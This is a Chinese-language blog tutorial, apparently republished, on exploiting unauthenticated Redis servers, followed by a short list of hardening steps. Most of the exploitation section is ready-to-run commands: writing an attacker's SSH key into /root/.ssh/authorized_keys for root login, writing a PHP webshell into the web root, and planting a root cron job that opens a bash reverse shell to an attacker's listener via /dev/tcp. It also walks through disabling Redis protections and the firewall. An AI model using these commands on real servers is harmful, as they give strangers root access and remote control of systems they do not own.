知识分享|Redis未授权访问漏洞汇集

上网导航 2023-08-19 337 0条评论
摘要: 用心搜集·专心整理·精心复现·匠心输出...

vim /etc/redis.conf

7、在该行前面增加#,注释ip绑定,允许除本地外的主机远程登录redis服务。

知识分享|Redis未授权访问漏洞汇集

8、关闭保护模式,将yes改为no,允许远程连接redis服务。

知识分享|Redis未授权访问漏洞汇集

9、使用修改过后的配置文件启动Redis服务

redis-server /etc/redis.conf (在redis.conf文件目录下执行)#重新启动配置文件才会生效-----------------------#将此启动脚本加入到/etc/rc.local,让其开机自启动echo "/home/CnHongKe/Redis/redis-5.0.9/src/redis-server    /etc/redis.conf "  >> /etc/rc.local#/home/CnHongKe/Redis/redis-5.0.9是自己安装Redis的目录

知识分享|Redis未授权访问漏洞汇集

10、使用另一台机器或本机无账号登录redis,以此验证redis服务的正确安装。

为了方便大家快速复现,小编也已整理了如下步骤,仅供参考:

默认apt-get安装,先进行更新sudo apt-get upgrade安装sudo apt-get install redis-server  #默认安装到 /usr/bin/redis-server直接启动服务,执行redis-server或者redis-server+(配置文件目录)将配置文件中的bind参数改为0.0.0.0或者注释掉,并且修改protected-mode为no允许外连。关闭防火墙,具体命令:sudo ufw disable  查看防火墙状态:sudo ufw status

08

漏洞利用复现

0X01利用SSH写公钥登录服务器

>> 利用条件

服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,无需登陆验证。服务端存在.ssh目录并且有写入的权限。

>> 漏洞原理

在数据库中插入一条数据,将本机的公钥作为value或key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。【特别说明】这个场景主要应用在没有 web 应用的服务器,redis一般都是与web分离的,linux系统都存在/root目录,所以这种方式会更加实用些。

>> 漏洞复现

第一步:在攻击机(如Kali)中生成ssh公钥和私钥,密码设置为空。

ssh-keygen -t rsa 

知识分享|Redis未授权访问漏洞汇集

默认会在/root/.ssh/目录中生成2个文件,私钥:id_rsa和公钥:id_rsa.pub。

第二步:打开id_rsa.pub文件,将里面内容复制出来。

 cat /root/.ssh/id_rsa.pub 或者通过以下命令将生成的公钥另存为pub_key.txt (echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>pub_key.txt 最后将保存的pub_key.txt文件内容写入redis。 cat /root/.ssh/pub_key.txt | redis-cli -h 目标IP -x set pub

知识分享|Redis未授权访问漏洞汇集

第三步:连接目标Redis漏洞主机

redis-cli -h IP -p 6379  #IP是目标redis主机

第四步:设置Redis的备份路径设置为/root/.ssh/,同时将保存的文件名命名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,最后我们可以通过kali的ssh私钥连接目标主机。

config set dir /root/.ssh/  config set dbfilename authorized_keys# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合savequit---------------------------【友情提醒】注意在config set dir /root/.ssh时出现(error) ERR Changing directory: No such file or directory,只需要在靶机输入ssh localhost即可。

知识分享|Redis未授权访问漏洞汇集

第五步:使用ssh连接目标主机,进而成功获取root权限。

ssh -i id_rsa root@ip  #IP是目标redis主机

知识分享|Redis未授权访问漏洞汇集

完整的思路与步骤已经演示完毕,相信各位大佬应该理解了吧,接下来就需要大家“锻炼”起来啦~

知识分享|Redis未授权访问漏洞汇集

0X02利用漏洞写入webshell

>> 利用条件

目标开启了web服务,并且知道web路径。root权限执行的redis,具有读写权限。

>> 漏洞原理

借助已知网站的物理路径或绝对路径,通过高级权限进行写马与连接。

>> 漏洞复现

第一步:搭建Web服务器(安装Apache)

apt install apache2 #安装命令systemctl status apache2   #检查服务是否启动----------apache 的默认的一些目录-----------  默认文档根目录是在 ubuntu 上的 /var/www 目录  配置文件是 / etc/apache2/apache2.conf  配置存储在的子目录在/etc/apache2 目录----------开启、关闭和重启服务器-----------  /etc/init.d/apache2 start    //启动Apache服务  /etc/init.d/apache2 stop    //停止Apache服务  /etc/init.d/apache2 restart    //重启Apache服务 

知识分享|Redis未授权访问漏洞汇集

第二步:redis-cli连接目标主机,并开启如下骚操作

redis-cli -h 192.168.100.138     #连接Redisconfig set dir /var/www/html/     #设置要写入shell的绝对路径config set dbfilename shell.php  #设置数据文件的名字set x "\r\n\r\n\r\n\r\n"   #写入phpinfo()到webshell键save  #保存

知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

0X03利用计划任务写入webshell

>> 利用条件

root启用Redisredis无密码或者弱密码

>> 漏洞原理

在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。#与写入webshell有点类似 

>> 漏洞复现

第一步:在kali攻击机192.168.100.94中监听任意端口

nc -lnvp 8888

第二步:在目标机器中启动redis服务【建议在CentOS上操作】

利用该漏洞建议在Centos上实验,有时Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在/var/spool/cron/
Ubuntu定时任务文件在/var/spool/cron/crontabs/
如果必须在Ubuntu系统中演示,可以参考链接https://www.dazhuanlan.com/knight9001/topics/1061140

知识分享|Redis未授权访问漏洞汇集

第三步:在Kali攻击机中进行如下骚操作

redis-cli -h 192.168.100.77     #连接CentOS Redis服务器set xx "\n* * * * *  bash -i >& /dev/tcp/192.168.100.94/8888 0>&1\n"   #反弹连接config set dir /var/spool/cron/     #设置要写入shell的绝对路径config set dbfilename root  #设置数据文件的名字save  #保存

知识分享|Redis未授权访问漏洞汇集

第四步:返回Kali攻击机,观察反弹shell情况。

知识分享|Redis未授权访问漏洞汇集

编写到此处,三种利用的方式已经全部介绍完毕,相信各位大佬应该深入玩转Redis的漏洞利用方式。如果想要免安装的部署环境,可以关注微信公众号,并在消息处留言:Redis,可获取下载链接。

知识分享|Redis未授权访问漏洞汇集

最后,留给大家一个问题---“如何利用SSRF漏洞对Redis进行写webll呢?”欢迎大家留言讨论,我们准备了礼品送给精选留言的粉丝们。

09

☆☆☆漏洞利用总结☆☆☆

由于内容篇幅较长,现将常见的三种利用方式总结如下:

知识分享|Redis未授权访问漏洞汇集

10

漏洞防御措施

1、以低权限运行 Redis 服务(重启redis才能生效),为Redis 服务创建单独的用户和家目录,并且配置禁止登陆。

groupadd -r redis && useradd -r -g redis redis

2、为Redis添加密码验证(重启redis才能生效),修改redis.conf 文件,添加

requirepass mypassword(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

3、禁止外网访问Redis(重启redis才能生效),修改redis.conf 文件,添加或修改,使得Redis服务只在当前主机可用。

bind 127.0.0.1

4、修改默认端口,修改配置文件redis.conf文件

Port 6379

5、保证 authorized_keys 文件的安全,应该阻止其他用户添加新的公钥。

#将authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:chmod 400 ~/.ssh/authorized_keys
#为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限chattr +i ~/.ssh/authorized_keys
#重命名 ~/.ssh,然后新建新的 ~/.ssh目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable权限。chattr +i ~/.ssh

6、设置防火墙策略,如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

如果喜欢,敬请关注,后期内容更精彩!

往期推荐 · 值得阅看

END

知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

文章版权及转载声明:

作者:上网导航本文地址:https://www.90xe.com/post/2228.html发布于 2023-08-19
文章转载或复制请以超链接形式并注明出处技术导航

分享到:

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏